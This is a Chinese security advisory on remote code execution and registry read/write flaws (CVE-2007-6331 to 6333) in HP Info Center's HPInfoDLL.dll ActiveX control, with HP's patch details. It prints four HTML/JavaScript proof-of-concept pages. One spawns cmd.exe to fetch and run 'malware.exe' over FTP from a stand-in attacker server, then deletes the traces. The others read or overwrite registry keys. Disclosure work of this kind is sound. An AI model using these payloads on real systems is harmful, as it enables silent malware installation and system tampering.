安全研究

安全漏洞
HP信息中心HPInfoDLL.dll ActiveX控件多个远程代码执行漏洞

发布日期:2007-12-11
更新日期:2007-12-13

受影响系统:
HP Info Center 1.0.1.1
描述:
BUGTRAQ  ID: 26823
CVE(CAN) ID: CVE-2007-6331,CVE-2007-6332,CVE-2007-6333

Info Center软件是惠普笔记本电脑中所预装的Quick Launch Buttons工具的组成部分。Quick Launch Buttons允许用户只需按下鼠标就可知道电脑的详细配置。

Info Center的HPInfoDLL.dll控件实现上存在漏洞,远程攻击者可能利用此漏洞在用户系统上执行任意命令。

Info Center所安装的HPInfoDLL.dll控件(CLSID为62DDEB79-15B2-41E3-8834-D3B80493887A)包含有三种不安全的方式:

VARIANT GetRegValue(String sHKey, String sectionName, String keyName);
void SetRegValue(String sHKey, String sSectionName, String sKeyName, String sValue);
void LaunchApp(String appPath, String params, int cmdShow);

第一个和第二个方式用于访问远程注册表,这样HP升级和配置软件可以进行读写。如果要访问指定的注册表项,用户必须将路径拆分为3个字符串参数:HKey参数、SectionName参数和所要访问/修改表项的名称。Info Center使用第三种方式在内嵌的IE窗口中生成工具程序,然后当用户在HP笔记本键盘上按下了任何一个Quick Launch键后QLBCTRL.exe进程就会启动合适的应用,在本文所述漏洞的情况下为\HP INFO\CENTER\hpinfocenter.exe。应用程序窗口包含有内嵌的IE控件启动HPINFO ActiveX CTL,IE使用同一目录中的JS脚本HPInfoCenter.js响应用户输入。当用户选择了感兴趣的选项后,JS代码就会执行HPINFO控件的LaunchApp()方式,使用JS代码指定的路径生成新的进程,如无线助手、帮助和支持中心等。但传送给LaunchApp()方式的路径变量参数没有区分全局磁盘区和本地HP软件区,因此攻击者可以通过这种方式以登录用户的权限启动系统中的任何可执行二进制程序;如果结合系统命令shell攻击者就可以执行任意shell命令。

<*来源:porkythepig (porkythepig@anspi.pl
  
  链接:http://secunia.com/advisories/28055/
        http://marc.info/?l=bugtraq&m=119740243818521&w=2
        http://marc.info/?l=bugtraq&m=119773954732189&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

///////////////////////////////////
//Remote code execution PoC exploit
///////////////////////////////////

<html>
<head>
<script language="JavaScript">


var attackersFtpServerAddress="attacker.ftp.server";
var attackersFtpUname="IDidntDoAnything";
var attackersFtpPassword="password";
var executableFileName="malware.exe";
var cnt,p;

function spawn2()
{
    o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo open \
"+attackersFtpServerAddress+  " >> c:\\ftpd&echo "+attackersFtpUname+">> \
c:\\ftpd&echo "+attackersFtpPassword+  ">> c:\\ftpd&echo binary>> c:\\ftpd&echo get \
"+executableFileName+  "c:\\"+executableFileName+" >> c:\\ftpd&echo quit>> \
c:\\ftpd",0);  o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C echo cd c:\\>> \
c:\\ftpd.bat"+  "&echo ftp -s:ftpd>> c:\\ftpd.bat&echo start \
c:\\"+executableFileName+  " >> c:\\ftpd.bat",0);
    o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C c:\\ftpd.bat&del "+
        "c:\\ftpd.bat&del c:\\ftpd&del c:\\"+executableFileName,0);
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
   classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>


/////////////////////////////////////////
//Remote system registry read PoC exploit
/////////////////////////////////////////

<html>
<head>
<script language="JavaScript">

var hKey;
var sectionName;
var keyName;

ProcessRegistryData(parm)
{
    alert(parm);
}


function spawn2()
{
    var ret=o2obj.GetRegValue(hKey,sectionName,keyName);
    ProcessRegistryData(ret);
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
   classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>


///////////////////////////////////////////
//Remote system registry write PoC exploit
///////////////////////////////////////////

<html>
<head>
<script language="JavaScript">

var hKey;
var sectionName;
var keyName;
var newKeyValue;

function spawn2()
{
    var ret=o2obj.SetRegValue(hKey,sectionName,keyName,newKeyValue);
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
   classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>


////////////////////
// harakiri exploit
////////////////////

<html>
<head>
<script language="JavaScript">


function spawn2()
{
    var ret=hpinfo.SetRegValue("HKEY_LOCAL_MACHINE",
        "SOFTWARE\\Classes\\CLSID\\"+
        "{62DDEB79-15B2-41E3-8834-D3B80493887A}\\InprocServer32","","");
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
   classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>

建议:
厂商补丁:

HP
--
HP已经为此发布了一个安全公告(HPSBGN02298)以及相应补丁:
HPSBGN02298:SSRT071502 rev.1 - HP Quick Launch Button (QLB) Running on Windows, Remote Execution of Arbitrary Code, Gain Privileged Access
链接:http://marc.info/?l=bugtraq&m=119773954732189&w=2

补丁下载:
ftp://ftp.hp.com/pub/softpaq/sp38001-38500/sp38166.html

浏览次数:3182
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障